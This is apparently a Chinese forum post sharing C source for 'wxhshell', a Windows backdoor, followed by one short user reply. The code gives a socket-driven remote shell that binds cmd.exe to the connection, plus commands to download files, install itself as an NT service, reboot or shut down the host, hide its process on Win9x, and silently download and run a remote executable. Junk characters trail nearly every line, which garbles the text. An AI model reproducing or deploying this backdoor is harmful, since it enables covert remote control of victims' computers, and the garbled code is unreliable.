  } /Jh1rck  
  j++; n 11LxGwk  
    } 8h*t55  
E)C.eW /  
  // 下载文件 ~'NX~<m  
  if(strstr(cmd,"http://")) { yOX&cZ[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %9t{Z1$  
  if(DownloadFile(cmd,wsh)) {I4%   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)o0GHNP  
  else 8{R&EijC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSqv86  
  } '#O;mBPNi  
  else { Dq?E\  
fZ[kh{|  
    switch(cmd[0]) { cb +l"FI7  
  ^:m^E0(H  
  // 帮助 p={Jf}v  
  case '?': { `-4'/~G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [-4KY4R  
    break; :%N*{uy  
  } wz|DT3"Xs  
  // 安装 z(+&wa  
  case 'i': { T_eJ}(p  
    if(Install()) VLiIO"u;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*4 .  
    else *dN N<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q^5yk=2fq  
    break; 0Y7$d`  
    } B1E$v(P3M  
  // 卸载 +fM&su=wl  
  case 'r': { S"zk!2@C  
    if(Uninstall()) x5oOF7#5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E(_ KN[}S  
    else K]X` sH:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yk<VlS  
    break; ^ pj>9%  
    } qB:AkMd&  
  // 显示 wxhshell 所在路径 tmp6hB  
  case 'p': { bMsECA&  
    char svExeFile[MAX_PATH]; 8q0I:SJy  
    strcpy(svExeFile,"\n\r"); y=w`w>%  
      strcat(svExeFile,ExeFile); (z/jMMms  
        send(wsh,svExeFile,strlen(svExeFile),0); }g>kpa0c  
    break; Y=E9zUF  
    } Rv,82iEKs  
  // 重启 qYK4)JP  
  case 'b': { @M=$qO_$9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !x7o|l|cP  
    if(Boot(REBOOT)) \]I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #: #Dz.$L  
    else { 6a*83G,k  
    closesocket(wsh); RwW$O@0  
    ExitThread(0); J@QdieW6  
    } vs +QbI6>-  
    break; wZ jlHe  
    } fp{G|.SA  
  // 关机 8.yCA  
  case 'd': { c_#*mA"+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rv<L#!; t  
    if(Boot(SHUTDOWN)) ^2E hlK^)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%$OU =T  
    else { ?W!ry7gXO  
    closesocket(wsh); _42Z={pZZq  
    ExitThread(0); F}D3,&9N  
    } )7dEi+v52  
    break; 'd/*BjNp)  
    } 9*\g`fWc}{  
  // 获取shell 0oSQY[ht/  
  case 's': { p>q&&;fe  
    CmdShell(wsh); 7(Cx!Yb  
    closesocket(wsh); lm$;:Roj*  
    ExitThread(0); P`EgA  
    break; 0 _A23.Y  
  } hU" F;4p  
  // 退出 o\4CoeG  
  case 'x': { SNab   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zJY']8ah  
    CloseIt(wsh); w>[T&0-N  
    break; > H BJk:  
    } n(>C'<otj  
  // 离开 &RW`W)0;  
  case 'q': { j0x5@1`6G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZVL gK}s  
    closesocket(wsh); @}DFp`~5|  
    WSACleanup(); WL U}  
    exit(1); PO o%^'(  
    break; r P'AJDuq  
        } O9^T3~x[V  
  } d)tiO2W  
  } HTk\723Rdw  
>3PMnI  
  // 提示信息 ^"x<)@X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $7NCb7%/L  
} 'wvMH;}u  
  } 8eJE>g1J  
514Z<omrK  
  return; ETfF5i}  
} a9l8{ 3  
k!3 cq)  
// shell模块句柄 AbfZ++aJ  
int CmdShell(SOCKET sock) NYB "jKMk  
{ . I==-|  
STARTUPINFO si; ,h&a9:+i  
ZeroMemory(&si,sizeof(si)); f*m[|0qI<X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /e1(? 20  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oa`#RC8N  
PROCESS_INFORMATION ProcessInfo; {DwIjy31T  
char cmdline[]="cmd"; ?pG/m%[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =45W\  
  return 0; kRlA4h1u_$  
} {kL&Rv%'  
 3-|3`(  
// 自身启动模式 =6\LIbO  
int StartFromService(void) .z-UOyer  
{ UpfZi9v?W  
typedef struct g_aCHEFBv  
{ x[X`a  
  DWORD ExitStatus; vHcqEV|P/n  
  DWORD PebBaseAddress; `PlOwj@u0`  
  DWORD AffinityMask; {^mKvc  
  DWORD BasePriority; ER^QV(IvP8  
  ULONG UniqueProcessId; >o/95xk2  
  ULONG InheritedFromUniqueProcessId; e |V]  
}   PROCESS_BASIC_INFORMATION; VagT_D  
66\jV6eH7L  
PROCNTQSIP NtQueryInformationProcess; +Gh7^v|"  
Y#HI;Y^RP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sh&PNJ-*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a#[-*ou`  
a]B[`^`z  
  HANDLE             hProcess; (D7$$!}  
  PROCESS_BASIC_INFORMATION pbi; #;Tz[0  
4W;S=#1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pe.QiMW{8  
  if(NULL == hInst ) return 0; ` A)"%~  
h<x4YB5Mj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wC CV2tk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 41V e}%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =\3Tv  
mL yBm  
  if (!NtQueryInformationProcess) return 0; i9A~<  
[4Q"#[V&9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :O-1rD  
  if(!hProcess) return 0; $yu?.b 9H#  
ub K7B |p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rv7{Ow_Y  
NM#- Af*pg  
  CloseHandle(hProcess); nxo+?:**  
?LP9iY${  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u:dx;*  
if(hProcess==NULL) return 0; d@ J a}`  
|E3X  
HMODULE hMod; ,[!LCXp  
char procName[255]; DjLL|jF  
unsigned long cbNeeded;  L,LNv  
M;.ZM<Ga  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W?Ww2Lo%Y  
>:1P/U  
  CloseHandle(hProcess); RU#F8O  
1/Zh^foG  
if(strstr(procName,"services")) return 1; // 以服务启动 ,wAz^cK|  
S\#17.=  
  return 0; // 注册表启动 3tAU?sV!  
} 9`B$V##-L  
T+IF}4e d  
// 主模块 J'T=q/  
int StartWxhshell(LPSTR lpCmdLine) DAO]uh{6  
{ %)(Cp-b!  
  SOCKET wsl; z-T{~{q  
BOOL val=TRUE; $8~e}8dt|  
  int port=0; v]VWDT `  
  struct sockaddr_in door; e'9r"<>i  
}} ZY  
  if(wscfg.ws_autoins) Install(); rS8 w\`_  
~O6\6$3b5E  
port=atoi(lpCmdLine); $E!J:Y=  
j\&pej  
if(port<=0) port=wscfg.ws_port; quxdG>8  
* ?Jz2[B  
  WSADATA data; r@G#[.*A>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WyhhCR=;  
PBjmGwg7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9jir* UI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OF U/gaO~  
  door.sin_family = AF_INET; {KL5GowH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3'`dFY,  
  door.sin_port = htons(port); } ^kL|qmjR  
#q\x$   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K`-!uZW:B7  
closesocket(wsl); F7*wQ{~  
return 1; }T_Te?<&  
} p9eRZVy/  
c3TKl/  
  if(listen(wsl,2) == INVALID_SOCKET) { G&f8n  
closesocket(wsl); 4Y\wnwI  
return 1; k@mVxnC  
} 4=8QZf0\  
  Wxhshell(wsl); \;X+X,M  
  WSACleanup(); 5\fCd|  
Fr2N[\>s  
return 0; K4ZolWbU  
eOT+'[3"  
} J @IS\9O  
qQ]]~F  
// 以NT服务方式启动 ]; $] G-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5*g]qJF  
{ Ah69 _>N`S  
DWORD   status = 0; xg@NQI@7   
  DWORD   specificError = 0xfffffff; ),}AI/j;zY  
?/hZb"6W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yR5XJ;Tct  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ne}+E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oXsL9,  
  serviceStatus.dwWin32ExitCode     = 0; E0n6$5Uc?  
  serviceStatus.dwServiceSpecificExitCode = 0; 2/ rt@{V(  
  serviceStatus.dwCheckPoint       = 0; ~wm;;#_O  
  serviceStatus.dwWaitHint       = 0; i yesD  
bC!`@/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OX]V) QHVZ  
  if (hServiceStatusHandle==0) return; cZ8.TsI~  
zmuMWT;  
status = GetLastError(); &DG->$&|  
  if (status!=NO_ERROR) FDzqL;I  
{ O*6n$dUj3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1 T<+d5[C  
    serviceStatus.dwCheckPoint       = 0; I{'f|+1  
    serviceStatus.dwWaitHint       = 0; _f0C Y"  
    serviceStatus.dwWin32ExitCode     = status; HeGY u?&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6?tlU>A2s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68fiG  
    return; CT a#Q,  
  } .wA+S8}S  
t&q N: J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jEdtJ EPa  
  serviceStatus.dwCheckPoint       = 0; 0 fXLcal  
  serviceStatus.dwWaitHint       = 0; ,8'>R@o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n{0Ld - zH  
} qFX~[h8i+  
U @v*0  
// 处理NT服务事件,比如:启动、停止 PXoz*)tk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?4H#G)F  
{ Z6C=T;w  
switch(fdwControl) @oP_;G  
{ #65^w=Sp}  
case SERVICE_CONTROL_STOP: {@Yb%{+  
  serviceStatus.dwWin32ExitCode = 0; B_`y|sn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~T7B$$  
  serviceStatus.dwCheckPoint   = 0; WUc#)EEM)  
  serviceStatus.dwWaitHint     = 0; NH<gU_s8{9  
  { ./vZe_o)j$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AFvgbn8Qh  
  } ,QIF &  
  return; [jdFA<Is  
case SERVICE_CONTROL_PAUSE: 2zSG&",2D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8F(h*e_?  
  break; }kHdK vZ  
case SERVICE_CONTROL_CONTINUE: *.-.iY.a]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O=cxNy-I  
  break; u6V/JI}g  
case SERVICE_CONTROL_INTERROGATE: s'aip5P  
  break; wFh8?Z3u_  
}; }T^cEfX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =;a!u  
} Di_2Plo)4  
5wao1sd#  
// 标准应用程序主函数 )4U> !KrY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w.\w1:d  
{ [S]S^ej*8  
tY${M^^<J  
// 获取操作系统版本 vr^~yEr  
OsIsNt=GetOsVer(); qLL,F  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  MTER(L  
mP38T{  
  // 从命令行安装 Jb)#fH$L  
  if(strpbrk(lpCmdLine,"iI")) Install(); V3;.{0k  
]?1Y e8>Y<  
  // 下载执行文件 SnlyUP~P  
if(wscfg.ws_downexe) { Pz#7h*;cw.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qSqI7ptA\  
  WinExec(wscfg.ws_filenam,SW_HIDE); , ^F)L|  
} GDhE[of  
4D%9Rc0 G  
if(!OsIsNt) { '3]p29v{  
// 如果时win9x,隐藏进程并且设置为注册表启动 g[ 0<m#"  
HideProc(); v0Dq@Q1  
StartWxhshell(lpCmdLine); &c(WE RW?-  
} >SN|?|2U/  
else -4w=s|#.\  
  if(StartFromService()) PjT=$]  
  // 以服务方式启动 .roqEasu8  
  StartServiceCtrlDispatcher(DispatchTable); v8gdU7Ll,  
else p^nL&yIW,%  
  // 普通方式启动 E9|eu\  
  StartWxhshell(lpCmdLine); n,HE0Zn]Y_  
,/&'m13b/L  
return 0; l.\re"Q  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八